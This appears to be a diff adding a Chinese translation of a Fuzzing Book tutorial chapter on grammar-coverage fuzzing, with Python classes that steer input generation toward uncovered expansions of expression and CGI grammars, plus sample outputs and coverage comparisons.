+
+## 覆盖语法元素
+
+测试生成的目的是涵盖程序的所有功能-当然希望包括失败的功能。 但是，此功能与输入的结构相关：如果我们无法生成某些输入元素，则也不会触发相关的代码和功能，从而减少了在其中查找错误的机会。
+
+例如，请考虑语法[一章中的表达语法`EXPR_GRAMMAR`。](Grammars.html) 。 如果我们不产生负数，那么将不会测试负数。 如果我们不产生浮点数，那么将不会测试浮点数。 因此，我们的目标必须是*涵盖所有可能的扩展*。
+
+最大化这种多样性的一种方法是*跟踪*在语法生成过程中发生的扩展：如果我们已经看到了某种扩展，则可以从可能的扩展集中选择其他可能的扩展候选。 在我们的表达语法中考虑以下规则：
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+from [Grammars](Grammars.html) import EXPR_GRAMMAR, CGI_GRAMMAR, URL_GRAMMAR, START_SYMBOL
+from [Grammars](Grammars.html) import is_valid_grammar, extend_grammar
+
+```
+
+```py
+EXPR_GRAMMAR["<factor>"]
+
+```
+
+```py
+['+<factor>', '-<factor>', '(<expr>)', '<integer>.<integer>', '<integer>']
+
+```
+
+假设我们已经在`<factor>`的第一个扩展中产生了`<integer>`。 在扩展下一个因子时，我们将标记`<integer>`扩展已被覆盖，并选择尚未发现的替代方法之一，例如`-<factor>`（负数）或`<integer>.<integer>`（浮点数） 。 只有涵盖了所有替代方案后，我们才可以重新考虑以前涵盖的扩展。
+
+### 跟踪语法覆盖率
+
+*语法覆盖率*的概念非常容易实现。 我们引入了一个`GrammarCoverageFuzzer`类，该类跟踪当前已实现的语法覆盖率：
+
+```py
+from [GrammarFuzzer](GrammarFuzzer.html) import GrammarFuzzer, all_terminals, nonterminals, display_tree
+
+```
+
+```py
+import [random](https://docs.python.org/3/library/random.html)
+
+```
+
+```py
+class TrackingGrammarCoverageFuzzer(GrammarFuzzer):
+    def __init__(self, *args, **kwargs):
+        # invoke superclass __init__(), passing all arguments
+        super().__init__(*args, **kwargs)
+        self.reset_coverage()
+
+    def reset_coverage(self):
+        self.covered_expansions = set()
+
+    def expansion_coverage(self):
+        return self.covered_expansions
+
+```
+
+在这组`covered_expansions`中，我们使用函数`expansion_key()`为该对生成一个字符串表示形式，将各个扩展存储为成对的[*符号*，*扩展*）。
+
+```py
+def expansion_key(symbol, expansion):
+    """Convert (symbol, children) into a key.  `children` can be an expansion string or a derivation tree."""
+    if isinstance(expansion, tuple):
+        expansion = expansion[0]
+    if not isinstance(expansion, str):
+        children = expansion
+        expansion = all_terminals((symbol, children))
+    return symbol + " -> " + expansion
+
+```
+
+```py
+expansion_key(START_SYMBOL, EXPR_GRAMMAR[START_SYMBOL][0])
+
+```
+
+```py
+'<start> -> <expr>'
+
+```
+
+除了*扩展*之外，我们还可以传递一个子代列表作为参数，然后将其自动转换为字符串。
+
+```py
+children = [("<expr>", None), (" + ", []), ("<term>", None)]
+expansion_key("<expr>", children)
+
+```
+
+```py
+'<expr> -> <expr> + <term>'
+
+```
+
+我们可以通过列举所有扩展来计算语法中可能的扩展集。 方法`max_expansion_coverage()`从给定符号（默认：语法开始符号）开始递归遍历语法，并将所有扩展累积在`expansions`中。 使用`max_depth`参数（默认值：$ \ infty $），我们可以控制语法探索的深度。 在本章的后面，我们将需要它。
+
+```py
+class TrackingGrammarCoverageFuzzer(TrackingGrammarCoverageFuzzer):
+    def _max_expansion_coverage(self, symbol, max_depth):
+        if max_depth <= 0:
+            return set()
+
+        self._symbols_seen.add(symbol)
+
+        expansions = set()
+        for expansion in self.grammar[symbol]:
+            expansions.add(expansion_key(symbol, expansion))
+            for nonterminal in nonterminals(expansion):
+                if nonterminal not in self._symbols_seen:
+                    expansions |= self._max_expansion_coverage(
+                        nonterminal, max_depth - 1)
+
+        return expansions
+
+    def max_expansion_coverage(self, symbol=None, max_depth=float('inf')):
+        """Return set of all expansions in a grammar starting with `symbol`"""
+        if symbol is None:
+            symbol = self.start_symbol
+
+        self._symbols_seen = set()
+        cov = self._max_expansion_coverage(symbol, max_depth)
+
+        if symbol == START_SYMBOL:
+            assert len(self._symbols_seen) == len(self.grammar)
+
+        return cov
+
+```
+
+我们可以使用`max_expansion_coverage()`来计算表达式语法中的所有扩展：
+
+```py
+expr_fuzzer = TrackingGrammarCoverageFuzzer(EXPR_GRAMMAR)
+expr_fuzzer.max_expansion_coverage()
+
+```
+
+```py
+{'<digit> -> 0',
+ '<digit> -> 1',
+ '<digit> -> 2',
+ '<digit> -> 3',
+ '<digit> -> 4',
+ '<digit> -> 5',
+ '<digit> -> 6',
+ '<digit> -> 7',
+ '<digit> -> 8',
+ '<digit> -> 9',
+ '<expr> -> <term>',
+ '<expr> -> <term> + <expr>',
+ '<expr> -> <term> - <expr>',
+ '<factor> -> (<expr>)',
+ '<factor> -> +<factor>',
+ '<factor> -> -<factor>',
+ '<factor> -> <integer>',
+ '<factor> -> <integer>.<integer>',
+ '<integer> -> <digit>',
+ '<integer> -> <digit><integer>',
+ '<start> -> <expr>',
+ '<term> -> <factor>',
+ '<term> -> <factor> * <term>',
+ '<term> -> <factor> / <term>'}
+
+```
+
+在扩展过程中，我们可以跟踪看到的扩展。 为此，我们使用`choose_node_expansion()`方法，在[语法模糊器](GrammarFuzzer.html)中扩展单个节点。
+
+```py
+class TrackingGrammarCoverageFuzzer(TrackingGrammarCoverageFuzzer):
+    def add_coverage(self, symbol, new_children):
+        key = expansion_key(symbol, new_children)
+
+        if self.log and key not in self.covered_expansions:
+            print("Now covered:", key)
+        self.covered_expansions.add(key)
+
+    def choose_node_expansion(self, node, possible_children):
+        (symbol, children) = node
+        index = super().choose_node_expansion(node, possible_children)
+        self.add_coverage(symbol, possible_children[index])
+        return index
+
+```
+
+方法`missing_expansion_coverage()`是一个辅助方法，它返回仍然必须涵盖的扩展：
+
+```py
+class TrackingGrammarCoverageFuzzer(TrackingGrammarCoverageFuzzer):
+    def missing_expansion_coverage(self):
+        return self.max_expansion_coverage() - self.expansion_coverage()
+
+```
+
+让我们展示跟踪的工作原理。 为简单起见，让我们仅关注`<digit>`扩展。
+
+```py
+digit_fuzzer = TrackingGrammarCoverageFuzzer(
+    EXPR_GRAMMAR, start_symbol="<digit>", log=True)
+digit_fuzzer.fuzz()
+
+```
+
+```py
+Tree: <digit>
+Expanding <digit> randomly
+Now covered: <digit> -> 9
+Tree: 9
+'9'
+
+```
+
+```py
+'9'
+
+```
+
+```py
+digit_fuzzer.fuzz()
+
+```
+
+```py
+Tree: <digit>
+Expanding <digit> randomly
+Now covered: <digit> -> 0
+Tree: 0
+'0'
+
+```
+
+```py
+'0'
+
+```
+
+```py
+digit_fuzzer.fuzz()
+
+```
+
+```py
+Tree: <digit>
+Expanding <digit> randomly
+Now covered: <digit> -> 5
+Tree: 5
+'5'
+
+```
+
+```py
+'5'
+
+```
+
+到目前为止，这是一组涵盖的扩展：
+
+```py
+digit_fuzzer.expansion_coverage()
+
+```
+
+```py
+{'<digit> -> 0', '<digit> -> 5', '<digit> -> 9'}
+
+```
+
+这是我们可以涵盖的所有扩展的集合：
+
+```py
+digit_fuzzer.max_expansion_coverage()
+
+```
+
+```py
+{'<digit> -> 0',
+ '<digit> -> 1',
+ '<digit> -> 2',
+ '<digit> -> 3',
+ '<digit> -> 4',
+ '<digit> -> 5',
+ '<digit> -> 6',
+ '<digit> -> 7',
+ '<digit> -> 8',
+ '<digit> -> 9'}
+
+```
+
+这是缺少的覆盖范围：
+
+```py
+digit_fuzzer.missing_expansion_coverage()
+
+```
+
+```py
+{'<digit> -> 1',
+ '<digit> -> 2',
+ '<digit> -> 3',
+ '<digit> -> 4',
+ '<digit> -> 6',
+ '<digit> -> 7',
+ '<digit> -> 8'}
+
+```
+
+平均来说，在涵盖所有扩展之后，我们必须产生多少个字符？
+
+```py
+def average_length_until_full_coverage(fuzzer):
+    trials = 50
+
+    sum = 0
+    for trial in range(trials):
+        # print(trial, end=" ")
+        fuzzer.reset_coverage()
+        while len(fuzzer.missing_expansion_coverage()) > 0:
+            s = fuzzer.fuzz()
+            sum += len(s)
+
+    return sum / trials
+
+```
+
+```py
+digit_fuzzer.log = False
+average_length_until_full_coverage(digit_fuzzer)
+
+```
+
+```py
+28.4
+
+```
+
+对于完整表达式，这需要更长的时间：
+
+```py
+expr_fuzzer = TrackingGrammarCoverageFuzzer(EXPR_GRAMMAR)
+average_length_until_full_coverage(expr_fuzzer)
+
+```
+
+```py
+138.12
+
+```
+
+### 覆盖语法扩展
+
+现在让我们不仅跟踪覆盖范围，而且实际上*产生*覆盖范围。 这个想法如下：
+
+1.  我们确定尚未发现的孩子（在`uncovered_children`中）
+2.  如果所有孩子都被覆盖，我们将退回到原始方法（即，随机选择一个扩展）
+3.  否则，我们从未发现的孩子中选择一个孩子，并将其标记为覆盖。
+
+为此，我们引入了一个新的模糊器`SimpleGrammarCoverageFuzzer`，它在`choose_node_expansion()`方法中实现了该策略。
+
+```py
+class SimpleGrammarCoverageFuzzer(TrackingGrammarCoverageFuzzer):
+    def choose_node_expansion(self, node, possible_children):
+        # Prefer uncovered expansions
+        (symbol, children) = node
+        uncovered_children = [c for (i, c) in enumerate(possible_children)
+                              if expansion_key(symbol, c) not in self.covered_expansions]
+        index_map = [i for (i, c) in enumerate(possible_children)
+                     if c in uncovered_children]
+
+        if len(uncovered_children) == 0:
+            # All expansions covered - use superclass method
+            return self.choose_covered_node_expansion(node, possible_children)
+
+        # Select from uncovered nodes
+        index = self.choose_uncovered_node_expansion(node, uncovered_children)
+
+        return index_map[index]
+
+```
+
+为子类提供了两种方法`choose_covered_node_expansion()`和`choose_uncovered_node_expansion()`：
+
+```py
+class SimpleGrammarCoverageFuzzer(SimpleGrammarCoverageFuzzer):
+    def choose_uncovered_node_expansion(self, node, possible_children):
+        return TrackingGrammarCoverageFuzzer.choose_node_expansion(
+            self, node, possible_children)
+
+    def choose_covered_node_expansion(self, node, possible_children):
+        return TrackingGrammarCoverageFuzzer.choose_node_expansion(
+            self, node, possible_children)
+
+```
+
+通过返回到目前为止涵盖的扩展集，我们可以多次调用模糊器，每次都增加语法覆盖率。 例如，使用`EXPR_GRAMMAR`语法产生数字，模糊器产生的数字比另一数字大：
+
+```py
+f = SimpleGrammarCoverageFuzzer(EXPR_GRAMMAR, start_symbol="<digit>")
+f.fuzz()
+
+```
+
+```py
+'5'
+
+```
+
+```py
+f.fuzz()
+
+```
+
+```py
+'2'
+
+```
+
+```py
+f.fuzz()
+
+```
+
+```py
+'1'
+
+```
+
+Here's the set of covered expansions so far:
+
+```py
+f.expansion_coverage()
+
+```
+
+```py
+{'<digit> -> 1', '<digit> -> 2', '<digit> -> 5'}
+
+```
+
+让我们再模糊一些。 我们看到，每次迭代都覆盖了另一个扩展：
+
+```py
+for i in range(7):
+    print(f.fuzz(), end=" ")
+
+```
+
+```py
+0 9 7 4 8 3 6 
+
+```
+
+最后，涵盖所有扩展：
+
+```py
+f.missing_expansion_coverage()
+
+```
+
+```py
+set()
+
+```
+
+让我们将其应用于更复杂的语法-例如，完整表达语法。 我们看到，经过几次迭代，我们涵盖了每个数字，运算符和扩展：
+
+```py
+f = SimpleGrammarCoverageFuzzer(EXPR_GRAMMAR)
+for i in range(10):
+    print(f.fuzz())
+
+```
+
+```py
++(0.31 / (5) / 9 + 4 * 6 / 3 - 8 - 7) * -2
++++2 / 87360
+((4) * 0 - 1) / -9.6 + 7 / 6 + 1 * 8 + 7 * 8
+++++26 / -64.45
+(8 / 1 / 6 + 9 + 7 + 8) * 1.1 / 0 * 1
+7.7
+++(3.5 / 3) - (-4 + 3) / (8 / 0) / -4 * 2 / 1
++(90 / --(28 * 8 / 5 + 5 / (5 / 8))) - +9.36 / 2.5 * (5 * (7 * 6 * 5) / 8)
+9.11 / 7.28
+1 / (9 - 5 * 6) / 6 / 7 / 7 + 1 + 1 - 7 * -3
+
+```
+
+同样，所有扩展都包括在内：
+
+```py
+f.missing_expansion_coverage()
+
+```
+
+```py
+set()
+
+```
+
+我们看到，与随机方法相比，我们的策略在实现覆盖率方面更为有效：
+
+```py
+average_length_until_full_coverage(SimpleGrammarCoverageFuzzer(EXPR_GRAMMAR))
+
+```
+
+```py
+52.28
+
+```
+
+## 远见卓识
+
+为单个规则选择扩展是一个好的开始； 但是，如下面的示例所示，这还不够。 我们将覆盖范围的[一章应用于CGI语法的覆盖范围模糊器：](Coverage.html)
+
+```py
+CGI_GRAMMAR
+
+```
+
+```py
+{'<start>': ['<string>'],
+ '<string>': ['<letter>', '<letter><string>'],
+ '<letter>': ['<plus>', '<percent>', '<other>'],
+ '<plus>': ['+'],
+ '<percent>': ['%<hexdigit><hexdigit>'],
+ '<hexdigit>': ['0',
+  '1',
+  '2',
+  '3',
+  '4',
+  '5',
+  '6',
+  '7',
+  '8',
+  '9',
+  'a',
+  'b',
+  'c',
+  'd',
+  'e',
+  'f'],
+ '<other>': ['0', '1', '2', '3', '4', '5', 'a', 'b', 'c', 'd', 'e', '-', '_']}
+
+```
+
+```py
+f = SimpleGrammarCoverageFuzzer(CGI_GRAMMAR)
+for i in range(10):
+    print(f.fuzz())
+
+```
+
+```py
+c
++%a6++
++-
++
+++
+%18%b7
++e
+_
+d2+%e3
+%d0
+
+```
+
+经过10次迭代，我们仍然发现了许多扩展：
+
+```py
+f.missing_expansion_coverage()
+
+```
+
+```py
+{'<hexdigit> -> 2',
+ '<hexdigit> -> 4',
+ '<hexdigit> -> 5',
+ '<hexdigit> -> 9',
+ '<hexdigit> -> c',
+ '<hexdigit> -> f',
+ '<other> -> 0',
+ '<other> -> 1',
+ '<other> -> 3',
+ '<other> -> 4',
+ '<other> -> 5',
+ '<other> -> a',
+ '<other> -> b'}
+
+```
+
+为什么会这样？ 问题在于，在CGI语法中，`hexdigit`规则中要涵盖的变体数量最多。 但是，我们首先需要*达到*这种扩展。 扩展`<letter>`符号时，我们可以在三种可能的扩展之间进行选择：
+
+```py
+CGI_GRAMMAR["<letter>"]
+
+```
+
+```py
+['<plus>', '<percent>', '<other>']
+
+```
+
+如果已经涵盖了所有三个扩展，则上面的`choose_node_expansion()`将随机选择一个-即使选择`<percent>`时可能需要覆盖更多扩展。
+
+我们需要的是一个更好的策略，如果后续有更多未发现的扩展，即使`<percent>`被覆盖，也将选择`<percent>`。 W. Burkhardt [ [Burkhardt *等人*，1967。](https://doi.org/10.1007/BF02235512)]首先以“最短路径选择”的名称讨论了这种策略：
+
+> 此版本从几种开发选择中选择了该语法单元，该语法单元从最短路径开始仍然有一个未使用的单元。
+
+这是我们将在后续步骤中实现的。
+
+### 确定每个符号的最大覆盖范围
+
+为了解决此问题，我们引入了一个基于`SimpleGrammarCoverageFuzzer`的新类`GrammarCoverageFuzzer`，但具有更好的策略。 首先，我们需要计算从特定符号可以达到的*最大扩展集*，正如我们已经在`max_expansion_coverage()`中实现的那样。 我们的想法是稍后计算该集合的*交集*和已经涵盖的展开，以便我们可以偏爱带有非空交集的那些展开。
+
+第一步-计算符号可以达到的最大扩展集-已经实现。 通过将`symbol`参数传递给`max_expansion_coverage()`，我们可以计算每个符号的可能扩展：
+
+```py
+f = SimpleGrammarCoverageFuzzer(EXPR_GRAMMAR)
+f.max_expansion_coverage('<integer>')
+
+```
+
+```py
+{'<digit> -> 0',
+ '<digit> -> 1',
+ '<digit> -> 2',
+ '<digit> -> 3',
+ '<digit> -> 4',
+ '<digit> -> 5',
+ '<digit> -> 6',
+ '<digit> -> 7',
+ '<digit> -> 8',
+ '<digit> -> 9',
+ '<integer> -> <digit>',
+ '<integer> -> <digit><integer>'}
+
+```
+
+```py
+f.max_expansion_coverage('<digit>')
+
+```
+
+```py
+{'<digit> -> 0',
+ '<digit> -> 1',
+ '<digit> -> 2',
+ '<digit> -> 3',
+ '<digit> -> 4',
+ '<digit> -> 5',
+ '<digit> -> 6',
+ '<digit> -> 7',
+ '<digit> -> 8',
+ '<digit> -> 9'}
+
+```
+
+### 确定尚未发现的孩子
+
+现在我们可以开始实现`GrammarCoverageFuzzer`。 计算`max_expansion_coverage()`可以让我们确定每个孩子的*失踪覆盖率*。 为此，我们*从可以获得的覆盖范围中减去*已经看到的覆盖范围（`expansion_coverage()`）。
+
+```py
+class GrammarCoverageFuzzer(SimpleGrammarCoverageFuzzer):
+    def _new_child_coverage(self, children, max_depth):
+        new_cov = set()
+        for (c_symbol, _) in children:
+            if c_symbol in self.grammar:
+                new_cov |= self.max_expansion_coverage(
+                    c_symbol, max_depth)
+        return new_cov
+
+    def new_child_coverage(self, symbol, children, max_depth=float('inf')):
+        """Return new coverage that would be obtained by expanding (symbol, children)"""
+        new_cov = self._new_child_coverage(children, max_depth)
+        new_cov.add(expansion_key(symbol, children))
+        new_cov -= self.expansion_coverage()   # -= is set subtraction
+        return new_cov
+
+```
+
+让我们说明`new_child_coverage()`。 我们再次开始模糊测试，随机选择扩展。
+
+```py
+f = GrammarCoverageFuzzer(EXPR_GRAMMAR, start_symbol="<digit>", log=True)
+f.fuzz()
+
+```
+
+```py
+Tree: <digit>
+Expanding <digit> randomly
+Now covered: <digit> -> 2
+Tree: 2
+'2'
+
+```
+
+```py
+'2'
+
+```
+
+这是我们目前的报道：
+
+```py
+f.expansion_coverage()
+
+```
+
+```py
+{'<digit> -> 2'}
+
+```
+
+当我们查看`<digit>`的单个扩展可能性时，我们看到所有扩展都提供了额外的覆盖范围，*除了*才适用。
+
+```py
+for expansion in EXPR_GRAMMAR["<digit>"]:
+    children = f.expansion_to_children(expansion)
+    print(expansion, f.new_child_coverage("<digit>", children))
+
+```
+
+```py
+0 {'<digit> -> 0'}
+1 {'<digit> -> 1'}
+2 set()
+3 {'<digit> -> 3'}
+4 {'<digit> -> 4'}
+5 {'<digit> -> 5'}
+6 {'<digit> -> 6'}
+7 {'<digit> -> 7'}
+8 {'<digit> -> 8'}
+9 {'<digit> -> 9'}
+
+```
+
+这意味着无论何时选择扩展，我们都可以使用`new_child_coverage()`并在提供最大新（看不见）覆盖范围的扩展中进行选择。
+
+### 自适应前瞻
+
+当选择一个孩子时，我们不会期望获得最大的总体覆盖范围，因为这会导致扩展，而许多未发现的可能性将完全主导其他扩展。 相反，我们的目标是采用*广度优先*策略，首先涵盖到达给定深度的所有扩展，然后才寻找更大的深度。 方法`new_coverages()`是此策略的核心：从最大深度（`max_depth`）为零开始，它会增加深度，直到找到至少一个未发现的扩展为止。
+
+```py
+class GrammarCoverageFuzzer(GrammarCoverageFuzzer):
+    def new_coverages(self, node, possible_children):
+        """Return coverage to be obtained for each child at minimum depth"""
+        (symbol, children) = node
+        for max_depth in range(len(self.grammar)):
+            new_coverages = [
+                self.new_child_coverage(
+                    symbol, c, max_depth) for c in possible_children]
+            max_new_coverage = max(len(new_coverage)
+                                   for new_coverage in new_coverages)
+            if max_new_coverage > 0:
+                # Uncovered node found
+                return new_coverages
+
+        # All covered
+        return None
+
+```
+
+### 全部在一起
+
+现在，我们可以定义`choose_node_expansion()`来使用此策略：首先，我们确定要获得的可能覆盖范围（使用`new_coverages()`）； 然后，我们（随机地）选择运动范围最大的孩子。
+
+```py
+class GrammarCoverageFuzzer(GrammarCoverageFuzzer):
+    def choose_node_expansion(self, node, possible_children):
+        (symbol, children) = node
+        new_coverages = self.new_coverages(node, possible_children)
+
+        if new_coverages is None:
+            # All expansions covered - use superclass method
+            return self.choose_covered_node_expansion(node, possible_children)
+
+        max_new_coverage = max(len(cov) for cov in new_coverages)
+
+        children_with_max_new_coverage = [c for (i, c) in enumerate(possible_children)
+                                          if len(new_coverages[i]) == max_new_coverage]
+        index_map = [i for (i, c) in enumerate(possible_children)
+                     if len(new_coverages[i]) == max_new_coverage]
+
+        # Select a random expansion
+        new_children_index = self.choose_uncovered_node_expansion(
+            node, children_with_max_new_coverage)
+        new_children = children_with_max_new_coverage[new_children_index]
+
+        # Save the expansion as covered
+        key = expansion_key(symbol, new_children)
+
+        if self.log:
+            print("Now covered:", key)
+        self.covered_expansions.add(key)
+
+        return index_map[new_children_index]
+
+```
+
+现在我们的模糊器已经完成。 让我们将其应用于一系列示例。 在表达式上，它可以快速覆盖所有数字和运算符：
+
+```py
+f = GrammarCoverageFuzzer(EXPR_GRAMMAR, min_nonterminals=3)
+f.fuzz()
+
+```
+
+```py
+'-4.02 / (1) * +3 + 5.9 / 7 * 8 - 6'
+
+```
+
+```py
+f.max_expansion_coverage() - f.expansion_coverage()
+
+```
+
+```py
+set()
+
+```
+
+平均而言，它比简单策略还快：
+
+```py
+average_length_until_full_coverage(GrammarCoverageFuzzer(EXPR_GRAMMAR))
+
+```
+
+```py
+50.74
+
+```
+
+在CGI语法上，只需几次迭代即可覆盖所有字母和数字：
+
+```py
+f = GrammarCoverageFuzzer(CGI_GRAMMAR, min_nonterminals=5)
+while len(f.max_expansion_coverage() - f.expansion_coverage()) > 0:
+    print(f.fuzz())
+
+```
+
+```py
+%18%d03
+%c3%94%7f+cd
+%a6%b5%e2%5e%4c-54e01a2
+%5eb%7cb_ec%a0+
+
+```
+
+通过比较CGI语法的随机，仅扩展和深度预见策略，也可以看到这种改进：
+
+```py
+average_length_until_full_coverage(TrackingGrammarCoverageFuzzer(CGI_GRAMMAR))
+
+```
+
+```py
+211.34
+
+```
+
+```py
+average_length_until_full_coverage(SimpleGrammarCoverageFuzzer(CGI_GRAMMAR))
+
+```
+
+```py
+68.64
+
+```
+
+```py
+average_length_until_full_coverage(GrammarCoverageFuzzer(CGI_GRAMMAR))
+
+```
+
+```py
+40.38
+
+```
+
+## 上下文[的覆盖范围](#Coverage-in-Context)
+
+有时，语法元素会在多个地方使用。 例如，在我们的表达式语法中，`<integer>`符号用于整数以及浮点数：
+
+```py
+EXPR_GRAMMAR["<factor>"]
+
+```
+
+```py
+['+<factor>', '-<factor>', '(<expr>)', '<integer>.<integer>', '<integer>']
+
+```
+
+如上所定义，我们的覆盖产品将确保覆盖所有`<integer>`扩展（即所有`<digit>`扩展）。 但是，在语法中所有出现的`<integer>`时，单个数字都是*分布*。 如果我们基于覆盖的模糊器产生`1234.56`和`7890`，那么我们将完全覆盖所有数字扩展。 但是，上述`<factor>`扩展中的`<integer>.<integer>`和`<integer>`仅单独覆盖了一部分数字。 如果浮点数和整数具有不同的读取功能，则我们希望对所有这些功能进行全数字测试； 也许我们还希望对浮点数的整个和小数部分进行测试，每个数字都包含数字。
+
+如果我们可以假定该符号的所有出现都得到相同的对待，则忽略使用符号的上下文（在我们的示例中，`<factor>`上下文中`<integer>`和`<digit>`的各种用法）可能很有用。 但是，如果不是，则一种确保符号的出现独立于其他出现而被系统地覆盖的方法是将该出现分配给新符号，该符号是旧符号的*副本*。 我们将首先展示如何手动创建此类重复项，然后介绍一种自动执行此操作的专用功能。
+
+### 手动扩展文法以覆盖上下文
+
+如上所述，一种实现上下文覆盖的简单方法是通过*复制*符号及其引用的规则。 例如，我们可以将`<integer>.<integer>`替换为`<integer-1>.<integer-2>`，并赋予`<integer-1>`和`<integer-2>`与原始`<integer>`相同的定义。 这意味着不仅将覆盖`<integer>`的所有扩展，而且还将覆盖`<integer-1>`和`<integer-2>`的所有扩展。
+
+让我们用实际代码说明这一点：
+
+```py
+dup_expr_grammar = extend_grammar(EXPR_GRAMMAR,
+                                  {
+                                      "<factor>": ["+<factor>", "-<factor>", "(<expr>)", "<integer-1>.<integer-2>", "<integer>"],
+                                      "<integer-1>": ["<digit-1><integer-1>", "<digit-1>"],
+                                      "<integer-2>": ["<digit-2><integer-2>", "<digit-2>"],
+                                      "<digit-1>":
+                                      ["0", "1", "2", "3", "4",
+                                          "5", "6", "7", "8", "9"],
+                                      "<digit-2>":
+                                      ["0", "1", "2", "3", "4",
+                                          "5", "6", "7", "8", "9"]
+                                  }
+                                  )
+
+```
+
+```py
+assert is_valid_grammar(dup_expr_grammar)
+
+```
+
+如果现在在扩展语法上运行基于覆盖率的模糊器，那么我们将覆盖正整数的所有数字，以及浮点数的整数和小数部分的所有数字：
+
+```py
+f = GrammarCoverageFuzzer(dup_expr_grammar, start_symbol="<factor>")
+for i in range(10):
+    print(f.fuzz())
+
+```
+
+```py
+-(43.76 / 8.0 * 5.5 / 6.9 * 6 / 4 + +03)
+(90.1 - 1 * 7.3 * 9 + 5 / 8 / 7)
+2.8
+1.2
+10.4
+2
+4386
+7
+0
+08929.4302
+
+```
+
+我们将看到我们的“有远见”的覆盖率模糊器是如何专门生成浮点数的，该浮点数覆盖整个和小数部分的所有数字。
+
+### 以编程方式扩展文法覆盖上下文
+
+如果我们想增强上下文的覆盖范围，则手动调整语法可能不是理想的选择，因为对语法的任何更改都必须复制在所有重复项中。 取而代之的是，我们引入了一个将为我们做重复的功能。
+
+函数`duplicate_context()`接受语法，语法中的符号以及该符号的扩展名（`None`或未提供：符号的所有扩展名），并且它将扩展名更改为引用所有原始引用规则的副本 。 这个想法是我们以
+
+```py
+dup_expr_grammar = extend_grammar(EXPR_GRAMMAR)
+duplicate_context(dup_expr_grammar, "<factor>", "<integer>.<integer>")
+
+```
+
+并获得与上述手动更改类似的结果。
+
+这是代码：
+
+```py
+from [Grammars](Grammars.html) import new_symbol, unreachable_nonterminals
+from [GrammarFuzzer](GrammarFuzzer.html) import expansion_to_children
+
+```
+
+```py
+def duplicate_context(grammar, symbol, expansion=None, depth=float('inf')):
+    """Duplicate an expansion within a grammar.
+
+ In the given grammar, take the given expansion of the given symbol
+ (if expansion is omitted: all symbols), and replace it with a
+ new expansion referring to a duplicate of all originally referenced rules.
+
+ If depth is given, limit duplication to `depth` references (default: unlimited)
+ """
+    orig_grammar = extend_grammar(grammar)
+    _duplicate_context(grammar, orig_grammar, symbol,
+                       expansion, depth, seen={})
+
+    # After duplication, we may have unreachable rules; delete them
+    for nonterminal in unreachable_nonterminals(grammar):
+        del grammar[nonterminal]
+
+```
+
+大部分工作都在此辅助功能中进行。 附加参数`seen`跟踪已扩展的符号，并避免无限递归。
+
+```py
+import [copy](https://docs.python.org/3/library/copy.html)
+
+```
+
+```py
+def _duplicate_context(grammar, orig_grammar, symbol, expansion, depth, seen):
+    for i in range(len(grammar[symbol])):
+        if expansion is None or grammar[symbol][i] == expansion:
+            new_expansion = ""
+            for (s, c) in expansion_to_children(grammar[symbol][i]):
+                if s in seen:                 # Duplicated already
+                    new_expansion += seen[s]
+                elif c == [] or depth == 0:   # Terminal symbol or end of recursion
+                    new_expansion += s
+                else:                         # Nonterminal symbol - duplicate
+                    # Add new symbol with copy of rule
+                    new_s = new_symbol(grammar, s)
+                    grammar[new_s] = copy.deepcopy(orig_grammar[s])
+
+                    # Duplicate its expansions recursively
+                    # {**seen, **{s: new_s}} is seen + {s: new_s}
+                    _duplicate_context(grammar, orig_grammar, new_s, expansion=None,
+                                       depth=depth - 1, seen={**seen, **{s: new_s}})
+                    new_expansion += new_s
+
+            grammar[symbol][i] = new_expansion
+
+```
+
+这是我们上面的`duplicate_context()`工作原理示例，现在有了结果。 我们让它在表达式语法中复制`<integer>.<integer>`扩展名，并获得一个带有`<integer-1>.<integer-2>`扩展名的新语法，其中`<integer-1>`和`<integer-2>`都引用原始规则的副本：
+
+```py
+dup_expr_grammar = extend_grammar(EXPR_GRAMMAR)
+duplicate_context(dup_expr_grammar, "<factor>", "<integer>.<integer>")
+dup_expr_grammar
+
+```
+
+```py
+{'<start>': ['<expr>'],
+ '<expr>': ['<term> + <expr>', '<term> - <expr>', '<term>'],
+ '<term>': ['<factor> * <term>', '<factor> / <term>', '<factor>'],
+ '<factor>': ['+<factor>',
+  '-<factor>',
+  '(<expr>)',
+  '<integer-1>.<integer-2>',
+  '<integer>'],
+ '<integer>': ['<digit><integer>', '<digit>'],
+ '<digit>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
+ '<integer-1>': ['<digit-1><integer-1>', '<digit-2>'],
+ '<digit-1>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
+ '<digit-2>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
+ '<integer-2>': ['<digit-3><integer-2>', '<digit-4>'],
+ '<digit-3>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
+ '<digit-4>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']}
+
+```
+
+就像上面一样，使用这样的语法进行覆盖模糊处理现在将覆盖许多上下文中的数字。 准确地说，有五个上下文：正则整数，以及浮点数的一位和多位整数和小数部分。
+
+```py
+f = GrammarCoverageFuzzer(dup_expr_grammar, start_symbol="<factor>")
+for i in range(10):
+    print(f.fuzz())
+
+```
+
+```py
+(57.5)
+2
++-(1 / 3 + 6 / 0 - 7 * 59 * 3 + 8 * 4)
+374.88
+5.709
+0.93
+01.1
+892.27
+219.50
+6.636
+
+```
+
+`depth`参数控制复制应进行的深度。 将`depth`设置为1只会复制下一条规则：
+
+```py
+dup_expr_grammar = extend_grammar(EXPR_GRAMMAR)
+duplicate_context(dup_expr_grammar, "<factor>", "<integer>.<integer>", depth=1)
+dup_expr_grammar
+
+```
+
+```py
+{'<start>': ['<expr>'],
+ '<expr>': ['<term> + <expr>', '<term> - <expr>', '<term>'],
+ '<term>': ['<factor> * <term>', '<factor> / <term>', '<factor>'],
+ '<factor>': ['+<factor>',
+  '-<factor>',
+  '(<expr>)',
+  '<integer-1>.<integer-2>',
+  '<integer>'],
+ '<integer>': ['<digit><integer>', '<digit>'],
+ '<digit>': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],
+ '<integer-1>': ['<digit><integer-1>', '<digit>'],
+ '<integer-2>': ['<digit><integer-2>', '<digit>']}
+
+```
+
+```py
+assert is_valid_grammar(dup_expr_grammar)
+
+```
+
